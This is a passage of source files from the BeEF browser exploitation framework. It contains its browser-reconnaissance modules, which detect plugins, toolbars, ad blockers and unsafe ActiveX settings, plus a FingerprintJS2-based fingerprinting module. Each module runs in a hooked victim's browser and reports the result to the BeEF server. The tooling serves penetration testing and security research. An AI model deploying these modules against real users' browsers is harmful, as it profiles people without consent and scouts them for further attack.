{\n                key = \"Office 2003\"\n            }\n            if (a == \"number\" && b == \"number\" && c == \"number\" && d == \"object\") {\n                key = \"Office Xp\"\n            }\n            beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"office=\"+key);\n\n});\n\n"
  },
  {
    "path": "modules/browser/detect_office/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        detect_office:\n            enable: true\n            category: \"Browser\"\n            name: \"Detect MS Office\"\n            description: \"This module detect the version of MS Office if installed\"\n            authors: [\"nbblrr\"]\n            target:\n                working: [\"IE\"]\n                not_working: [\"All\"]\n"
  },
  {
    "path": "modules/browser/detect_office/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Detect_office < BeEF::Core::Command\n  def post_execute\n    content = {}\n    content['office'] = @datastore['office']\n    save content\n    BeEF::Core::Models::BrowserDetails.set(@datastore['beefhook'], 'HasOffice', Regexp.last_match(1)) if @datastore['results'] =~ /^office=Office (\\d+|Xp)/\n  end\nend\n"
  },
  {
    "path": "modules/browser/detect_popup_blocker/command.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\t\n\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"popup_blocker_enabled=\"+beef.browser.popup.blocker_enabled());\n\n});\n"
  },
  {
    "path": "modules/browser/detect_popup_blocker/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        detect_popup_blocker:\n            enable: true\n            category: \"Browser\"\n            name: \"Detect Popup Blocker\"\n            description: \"Detect if popup blocker is enabled.\"\n            authors: [\"wade\"]\n            target:\n                user_notify: [\"All\"]\n"
  },
  {
    "path": "modules/browser/detect_popup_blocker/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Detect_popup_blocker < BeEF::Core::Command\n  def post_execute\n    content = {}\n    content['popup_blocker_enabled'] = @datastore['popup_blocker_enabled']\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/browser/detect_quicktime/command.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n\tvar result = (beef.browser.hasQuickTime())? \"Yes\" : \"No\";\n\n\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"quicktime=\"+result);\n\n});\n\n"
  },
  {
    "path": "modules/browser/detect_quicktime/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        detect_quicktime:\n            enable: true\n            category: \"Browser\"\n            name: \"Detect QuickTime\"\n            description: \"This module will check if the browser has Quicktime support.\"\n            authors: [\"bcoles\"]\n            target:\n                working: [\"All\"]\n"
  },
  {
    "path": "modules/browser/detect_quicktime/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Detect_quicktime < BeEF::Core::Command\n  def post_execute\n    content = {}\n    content['quicktime'] = @datastore['quicktime']\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/browser/detect_realplayer/command.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n\tvar result = ( beef.browser.hasRealPlayer() )? \"Yes\" : \"No\";\n\n\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"realplayer=\"+result);\n\n});\n\n"
  },
  {
    "path": "modules/browser/detect_realplayer/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        detect_realplayer:\n            enable: true\n            category: \"Browser\"\n            name: \"Detect RealPlayer\"\n            description: \"This module will check if the browser has RealPlayer support.\"\n            authors: [\"gcattani\"]\n            target:\n                working: [\"All\"]\n"
  },
  {
    "path": "modules/browser/detect_realplayer/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Detect_realplayer < BeEF::Core::Command\n  def post_execute\n    content = {}\n    content['realplayer'] = @datastore['realplayer']\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/browser/detect_silverlight/command.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n\tvar result = (beef.browser.hasSilverlight())? \"Yes\" : \"No\";\n\n\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"silverlight=\"+result);\n\n});\n\n"
  },
  {
    "path": "modules/browser/detect_silverlight/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        detect_silverlight:\n            enable: true\n            category: \"Browser\"\n            name: \"Detect Silverlight\"\n            description: \"This module will check if the browser has Silverlight support.\"\n            authors: [\"bcoles\"]\n            target:\n                working: [\"ALL\"]\n"
  },
  {
    "path": "modules/browser/detect_silverlight/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Detect_silverlight < BeEF::Core::Command\n  def post_execute\n    content = {}\n    content['silverlight'] = @datastore['silverlight']\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/browser/detect_simple_adblock/command.js",
    "content": "// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n\tif (document.getElementById('adblock_img')) {\n\t\treturn \"Img already created\";\n\t}\n\n\tvar img = new Image();\n\timg.setAttribute(\"style\",\"visibility:hidden\");\n\timg.setAttribute(\"width\",\"0\");\n\timg.setAttribute(\"height\",\"0\");\n\timg.src = 'http://simple-adblock.com/adblocktest/files/adbanner.gif';\n\timg.id = 'adblock_img';\n\timg.setAttribute(\"attr\",\"start\");\n\timg.onerror = function() {\n\t\tthis.setAttribute(\"attr\",\"error\");\n\t};\n\timg.onload = function() {\n\t\tthis.setAttribute(\"attr\",\"load\");\n\t};\n\n\tdocument.body.appendChild(img);\n\n\tsetTimeout(function() {\n\t\tvar img = document.getElementById('adblock_img');\t\n\t\tif (img.getAttribute(\"attr\") == \"error\") {\n\t\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Adblock returned an error');\n\t\t} else if (img.getAttribute(\"attr\") == \"load\") {\n\t\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Adblock is disabled or not installed');\n\t\t} else if (img.getAttribute(\"attr\") == \"start\") {\n\t\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Adblock is enabled');\n\t\t};\n\t\tdocument.body.removeChild(img);\n\t\t}, 10000);\n\n});\n"
  },
  {
    "path": "modules/browser/detect_simple_adblock/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        detect_simple_adblock:\n            enable: true\n            category: \"Browser\"\n            name: \"Detect Simple Adblock\"\n            description: \"This module checks if the Simple Adblock module is active.\"\n            authors: [\"sussurro\"]\n            target:\n                 working: [\"IE\"]\n                 not_working: [\"All\"]\n"
  },
  {
    "path": "modules/browser/detect_simple_adblock/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Detect_simple_adblock < BeEF::Core::Command\n  def post_execute\n    content = {}\n    content['simple_adblock'] = @datastore['simple_adblock'] unless @datastore['simple_adblock'].nil?\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/browser/detect_toolbars/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\t\n\tvar toolbar_ua = new Array (\n\t\tnew Array (\" Alexa Toolbar\", \" Alexa\"),\n\t\tnew Array (\" AskTbS-PV\", \" Ask\"),\n\t\tnew Array (\" BRI\", \" Bing\"),\n\t\tnew Array (\" GTB\", \" Google\"),\n\t\tnew Array (\" SU \", \" Stumble Upon\")\n\t\t)\n\t\t\n\tvar toolbar_id = new Array (\n\t\tnew Array (\"AlexaCustomScriptId\", \" Alexa\")\n\t\t)\t\n\n\tvar result = '';\n\tvar separator = \", \";\n    \n\t// CHECK USER-AGENT\n\tfor (var i = 0; i < toolbar_ua.length; i++) {\n\t\t\n\t\tvar agentRegex = new RegExp( toolbar_ua[i][0], 'g' );\n\t\t\n\t\tif ( agentRegex.exec(navigator.userAgent) ) {\n\t\t\t\n\t\t\tresult += toolbar_ua[i][1] + separator;\t\t\t\n\t\t\t\n\t\t}\n\t}\n\t\n\t// CHECK ELEMENT ID (DOM)\n\tfor (var i = 0; i < toolbar_id.length; i++) {\n\t\t\n\t\tvar element =  document.getElementById( toolbar_id[i][0] );\n\t\t\n\t\tif ( typeof(element) != 'undefined' && element != null ) {\n\t\t\t\n\t\t\tresult += toolbar_id[i][1] + separator;\n\t\t\t\n\t\t}\n\t}\n\n\t// ENDING\n\tif ( result != '' ) {\n\t\t\n\t\tresult = result.slice(0, -separator.length);\n\t\t\n\t} else if ( result == '' ) {\n\t\t\n\t\tresult = \" no toolbars detected\";\n\t\t\n\t}\n\t\n\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"toolbars=\"+result);\t\n\t\n});"
  },
  {
    "path": "modules/browser/detect_toolbars/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        Detect_toolbars:\n            enable: true\n            category: \"Browser\"\n            name: \"Detect Toolbars\"\n            description: \"Detects which browser toolbars are installed.\"\n            authors: [\"gcattani\"]\n            target:\n                working: [\"All\"]\n"
  },
  {
    "path": "modules/browser/detect_toolbars/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Detect_toolbars < BeEF::Core::Command\n  def post_execute\n    content = {}\n    content['toolbars'] = @datastore['toolbars']\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/browser/detect_unity/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\t\n\tvar hasUnity = function() {\n\t\t\n\t\t// Internet Explorer\n\t\tif ( beef.browser.isIE() ) {\n\t\t\t\n\t\t\ttry {\n\t\t\t\t\tvar unity_test = new ActiveXObject('UnityWebPlayer.UnityWebPlayer.1');\n\t\t\t\t} catch (e) { }\n\t\t\t\t\n\t\t\tif ( unity_test ) {\n\t\t\t\treturn true;\n\t\t\t}\n\t\t\n\t\t// Not Internet Explorer\t\n\t\t} else if ( navigator.mimeTypes && navigator.mimeTypes[\"application/vnd.unity\"] ) {\n\t\t\t\n\t\t\tif ( navigator.mimeTypes[\"application/vnd.unity\"].enabledPlugin &&\n\t            navigator.plugins &&\n\t\t\t\tnavigator.plugins[\"Unity Player\"] ) {\n\n\t\t\t\treturn true;\n\n\t\t\t\t}\n\t\t\t\n\t\t}\n\t\t\n\t\treturn false;\t\t\n\t\n\t}\n\t\n\t\n\t\n\tif ( hasUnity() ) {\n\t\t\n\t\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"unity = Unity Web Player is enabled\");\n\t\t\n\t\tif ( !beef.browser.isIE() ) {\n\t\t\t\n\t\t\tvar unityRegex = /Unity Web Player version (.*). \\(c\\)/g;\n\t\t\tvar match = unityRegex.exec(navigator.plugins[\"Unity Player\"].description);\n\t\t\t\n\t\t\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"unity version = \"+ match[1]);\n\t\t\t\n\t\t}\n\t\t\n\t} else {\n\t\t\n\t\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"unity = Unity Web Player is not enabled\");\n\t\n\t}\n\t\n});\n"
  },
  {
    "path": "modules/browser/detect_unity/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        Detect_unity:\n            enable: true\n            category: \"Browser\"\n            name: \"Detect Unity Web Player\"\n            description: \"Detects Unity Web Player.\"\n            authors: [\"gcattani\"]\n            target:\n                working: [\"All\"]\n"
  },
  {
    "path": "modules/browser/detect_unity/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Detect_unity < BeEF::Core::Command\n  def post_execute\n    content = {}\n    content['unity'] = @datastore['unity']\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/browser/detect_unsafe_activex/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n\tvar unsafe = true;\n\tvar result = \"\";\n\tvar test;\n\n\ttry {\n\t\ttest = new ActiveXObject(\"WbemScripting.SWbemLocator\");\n\t} catch (e) {\n\t\tunsafe = false;\n\t}\n\n\ttest = null;\n\n\tif (unsafe) {\n\t\tresult = \"Browser is configured for unsafe ActiveX\";\n\t} else {\n\t\tresult = \"Browser is NOT configured for unsafe ActiveX\";\n\t}\n\n\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"unsafe_activex=\"+result);\n\n});\n\n"
  },
  {
    "path": "modules/browser/detect_unsafe_activex/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        detect_unsafe_activex:\n            enable: true\n            category: \"Browser\"\n            name: \"Detect Unsafe ActiveX\"\n            description: \"This module will check if IE has been insecurely configured. It will test if the option \\\"Initialize and script ActiveX controls not marked as safe for scripting\\\" is enabled.<br /><br />The setting can be found in: Tools Menu -> Internet Options -> Security -> Custom level -> \\\"Initialize and script ActiveX controls not marked as safe for scripting\\\"\"\n            authors: [\"wade\", \"bcoles\"]\n            target:\n                user_notify: [\"IE\"]\n                not_working: [\"All\"]\n\n"
  },
  {
    "path": "modules/browser/detect_unsafe_activex/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Detect_unsafe_activex < BeEF::Core::Command\n  def post_execute\n    content = {}\n    content['unsafe_activex'] = @datastore['unsafe_activex']\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/browser/detect_vlc/command.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n\tvar result = ( beef.browser.hasVLC() )? \"Yes\" : \"No\";\n\n\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"vlc=\"+result);\n\n});\n\n"
  },
  {
    "path": "modules/browser/detect_vlc/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        detect_vlc:\n            enable: true\n            category: \"Browser\"\n            name: \"Detect VLC\"\n            description: \"This module will check if the browser has VLC plugin.\"\n            authors: [\"nbblrr\"]\n            target:\n                working: [\"IE\", \"FF\", \"C\"]\n"
  },
  {
    "path": "modules/browser/detect_vlc/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Detect_vlc < BeEF::Core::Command\n  def post_execute\n    content = {}\n    content['vlc'] = @datastore['vlc']\n    save content\n    BeEF::Core::Models::BrowserDetails.set(@datastore['beefhook'], 'browser.capabilities.vlc', Regexp.last_match(1)) if @datastore['results'] =~ /^vlc=(Yes|No)/\n  end\nend\n"
  },
  {
    "path": "modules/browser/detect_wmp/command.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n\tvar result = ( beef.browser.hasWMP() )? \"Yes\" : \"No\";\n\n\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"wmp=\"+result);\n\n});\n"
  },
  {
    "path": "modules/browser/detect_wmp/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        detect_wmp:\n            enable: true\n            category: \"Browser\"\n            name: \"Detect Windows Media Player\"\n            description: \"This module will check if the browser has the Windows Media Player plugin installed.\"\n            authors: [\"gcattani\"]\n            target:\n                working: [\"All\"]\n"
  },
  {
    "path": "modules/browser/detect_wmp/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Detect_wmp < BeEF::Core::Command\n  def post_execute\n    content = {}\n    content['wmp'] = @datastore['wmp']\n    save content\n    BeEF::Core::Models::BrowserDetails.set(@datastore['beefhook'], 'browser.capabilities.wmp', Regexp.last_match(1)) if @datastore['results'] =~ /^wmp=(Yes|No)/\n  end\nend\n"
  },
  {
    "path": "modules/browser/fingerprint_browser/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n  <%=\n    begin\n      f = \"#{$root_dir}/modules/browser/fingerprint_browser/fingerprint2.js\"\n      File.read(f)\n    rescue => e\n      print_error \"[Fingerprint Browser] Could not read file '#{f}': #{e.message}\"\n    end\n  %>\n\n  try {\n    setTimeout(function () {\n      Fingerprint2.get(function (components) {\n        var values = components.map(function (component) { return component.value })\n        var murmur = Fingerprint2.x64hash128(values.join(''), 31)\n        beef.debug('[Fingerprint Browser] Fingerprint: ' + murmur);\n        beef.debug('[Fingerprint Browser] Components: ' + JSON.stringify(components));\n        beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, 'fingerprint=' + murmur + '&components=' + JSON.stringify(components), beef.are.status_success());\n      })\n    }, 500)\n  } catch(e) {\n    beef.debug('[Fingerprint Browser] Error: ' + e.message);\n    beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, 'fail=' + e.message, beef.are.status_error());\n  }\n});\n\n"
  },
  {
    "path": "modules/browser/fingerprint_browser/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        fingerprint_browser:\n            enable: true\n            category: \"Browser\"\n            name: \"Fingerprint Browser\"\n            description: \"This module attempts to fingerprint the browser and browser capabilities using <a href='https://github.com/Valve/fingerprintjs2'>FingerprintJS2</a>.\"\n            authors: [\"bcoles\"]\n            target:\n                working: [\"ALL\"]\n"
  },
  {
    "path": "modules/browser/fingerprint_browser/fingerprint2.js",
    "content": "/*\n* Fingerprintjs2 2.0.6 - Modern & flexible browser fingerprint library v2\n* https://github.com/Valve/fingerprintjs2\n* Copyright (c) 2015 Valentin Vasilyev (valentin.vasilyev@outlook.com)\n* Licensed under the MIT (http://www.opensource.org/licenses/mit-license.php) license.\n*\n* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n* ARE DISCLAIMED. IN NO EVENT SHALL VALENTIN VASILYEV BE LIABLE FOR ANY\n* DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF\n* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n*/\n/* global define */\n(function (name, context, definition) {\n  'use strict'\n  if (typeof window !== 'undefined' && typeof define === 'function' && define.amd) { define(definition) } else if (typeof module !== 'undefined' && module.exports) { module.exports = definition() } else if (context.exports) { context.exports = definition() } else { context[name] = definition() }\n})('Fingerprint2', this, function () {\n  'use strict'\n\n/// MurmurHash3 related functions\n\n//\n// Given two 64bit ints (as an array of two 32bit ints) returns the two\n// added together as a 64bit int (as an array of two 32bit ints).\n//\n  var x64Add = function (m, n) {\n    m = [m[0] >>> 16, m[0] & 0xffff, m[1] >>> 16, m[1] & 0xffff]\n    n = [n[0] >>> 16, n[0] & 0xffff, n[1] >>> 16, n[1] & 0xffff]\n    var o = [0, 0, 0, 0]\n    o[3] += m[3] + n[3]\n    o[2] += o[3] >>> 16\n    o[3] &= 0xffff\n    o[2] += m[2] + n[2]\n    o[1] += o[2] >>> 16\n    o[2] &= 0xffff\n    o[1] += m[1] + n[1]\n    o[0] += o[1] >>> 16\n    o[1] &= 0xffff\n    o[0] += m[0] + n[0]\n    o[0] &= 0xffff\n    return [(o[0] << 16) | o[1], (o[2] << 16) | o[3]]\n  }\n\n//\n// Given two 64bit ints (as an array of two 32bit ints) returns the two\n// multiplied together as a 64bit int (as an array of two 32bit ints).\n//\n  var x64Multiply = function (m, n) {\n    m = [m[0] >>> 16, m[0] & 0xffff, m[1] >>> 16, m[1] & 0xffff]\n    n = [n[0] >>> 16, n[0] & 0xffff, n[1] >>> 16, n[1] & 0xffff]\n    var o = [0, 0, 0, 0]\n    o[3] += m[3] * n[3]\n    o[2] += o[3] >>> 16\n    o[3] &= 0xffff\n    o[2] += m[2] * n[3]\n    o[1] += o[2] >>> 16\n    o[2] &= 0xffff\n    o[2] += m[3] * n[2]\n    o[1] += o[2] >>> 16\n    o[2] &= 0xffff\n    o[1] += m[1] * n[3]\n    o[0] += o[1] >>> 16\n    o[1] &= 0xffff\n    o[1] += m[2] * n[2]\n    o[0] += o[1] >>> 16\n    o[1] &= 0xffff\n    o[1] += m[3] * n[1]\n    o[0] += o[1] >>> 16\n    o[1] &= 0xffff\n    o[0] += (m[0] * n[3]) + (m[1] * n[2]) + (m[2] * n[1]) + (m[3] * n[0])\n    o[0] &= 0xffff\n    return [(o[0] << 16) | o[1], (o[2] << 16) | o[3]]\n  }\n//\n// Given a 64bit int (as an array of two 32bit ints) and an int\n// representing a number of bit positions, returns the 64bit int (as an\n// array of two 32bit ints) rotated left by that number of positions.\n//\n  var x64Rotl = function (m, n) {\n    n %= 64\n    if (n === 32) {\n      return [m[1], m[0]]\n    } else if (n < 32) {\n      return [(m[0] << n) | (m[1] >>> (32 - n)), (m[1] << n) | (m[0] >>> (32 - n))]\n    } else {\n      n -= 32\n      return [(m[1] << n) | (m[0] >>> (32 - n)), (m[0] << n) | (m[1] >>> (32 - n))]\n    }\n  }\n//\n// Given a 64bit int (as an array of two 32bit ints) and an int\n// representing a number of bit positions, returns the 64bit int (as an\n// array of two 32bit ints) shifted left by that number of positions.\n//\n  var x64LeftShift = function (m, n) {\n    n %= 64\n    if (n === 0) {\n      return m\n    } else if (n < 32) {\n      return [(m[0] << n) | (m[1] >>> (32 - n)), m[1] << n]\n    } else {\n      return [m[1] << (n - 32), 0]\n    }\n  }\n//\n// Given two 64bit ints (as an array of two 32bit ints) returns the two\n// xored together as a 64bit int (as an array of two 32bit ints).\n//\n  var x64Xor = function (m, n) {\n    return [m[0] ^ n[0], m[1] ^ n[1]]\n  }\n//\n// Given a block, returns murmurHash3's final x64 mix of that block.\n// (`[0, h[0] >>> 1]` is a 33 bit unsigned right shift. This is the\n// only place where we need to right shift 64bit ints.)\n//\n  var x64Fmix = function (h) {\n    h = x64Xor(h, [0, h[0] >>> 1])\n    h = x64Multiply(h, [0xff51afd7, 0xed558ccd])\n    h = x64Xor(h, [0, h[0] >>> 1])\n    h = x64Multiply(h, [0xc4ceb9fe, 0x1a85ec53])\n    h = x64Xor(h, [0, h[0] >>> 1])\n    return h\n  }\n\n//\n// Given a string and an optional seed as an int, returns a 128 bit\n// hash using the x64 flavor of MurmurHash3, as an unsigned hex.\n//\n  var x64hash128 = function (key, seed) {\n    key = key || ''\n    seed = seed || 0\n    var remainder = key.length % 16\n    var bytes = key.length - remainder\n    var h1 = [0, seed]\n    var h2 = [0, seed]\n    var k1 = [0, 0]\n    var k2 = [0, 0]\n    var c1 = [0x87c37b91, 0x114253d5]\n    var c2 = [0x4cf5ad43, 0x2745937f]\n    for (var i = 0; i < bytes; i = i + 16) {\n      k1 = [((key.charCodeAt(i + 4) & 0xff)) | ((key.charCodeAt(i + 5) & 0xff) << 8) | ((key.charCodeAt(i + 6) & 0xff) << 16) | ((key.charCodeAt(i + 7) & 0xff) << 24), ((key.charCodeAt(i) & 0xff)) | ((key.charCodeAt(i + 1) & 0xff) << 8) | ((key.charCodeAt(i + 2) & 0xff) << 16) | ((key.charCodeAt(i + 3) & 0xff) << 24)]\n      k2 = [((key.charCodeAt(i + 12) & 0xff)) | ((key.charCodeAt(i + 13) & 0xff) << 8) | ((key.charCodeAt(i + 14) & 0xff) << 16) | ((key.charCodeAt(i + 15) & 0xff) << 24), ((key.charCodeAt(i + 8) & 0xff)) | ((key.charCodeAt(i + 9) & 0xff) << 8) | ((key.charCodeAt(i + 10) & 0xff) << 16) | ((key.charCodeAt(i + 11) & 0xff) << 24)]\n      k1 = x64Multiply(k1, c1)\n      k1 = x64Rotl(k1, 31)\n      k1 = x64Multiply(k1, c2)\n      h1 = x64Xor(h1, k1)\n      h1 = x64Rotl(h1, 27)\n      h1 = x64Add(h1, h2)\n      h1 = x64Add(x64Multiply(h1, [0, 5]), [0, 0x52dce729])\n      k2 = x64Multiply(k2, c2)\n      k2 = x64Rotl(k2, 33)\n      k2 = x64Multiply(k2, c1)\n      h2 = x64Xor(h2, k2)\n      h2 = x64Rotl(h2, 31)\n      h2 = x64Add(h2, h1)\n      h2 = x64Add(x64Multiply(h2, [0, 5]), [0, 0x38495ab5])\n    }\n    k1 = [0, 0]\n    k2 = [0, 0]\n    switch (remainder) {\n      case 15:\n        k2 = x64Xor(k2, x64LeftShift([0, key.charCodeAt(i + 14)], 48))\n      // fallthrough\n      case 14:\n        k2 = x64Xor(k2, x64LeftShift([0, key.charCodeAt(i + 13)], 40))\n      // fallthrough\n      case 13:\n        k2 = x64Xor(k2, x64LeftShift([0, key.charCodeAt(i + 12)], 32))\n      // fallthrough\n      case 12:\n        k2 = x64Xor(k2, x64LeftShift([0, key.charCodeAt(i + 11)], 24))\n      // fallthrough\n      case 11:\n        k2 = x64Xor(k2, x64LeftShift([0, key.charCodeAt(i + 10)], 16))\n      // 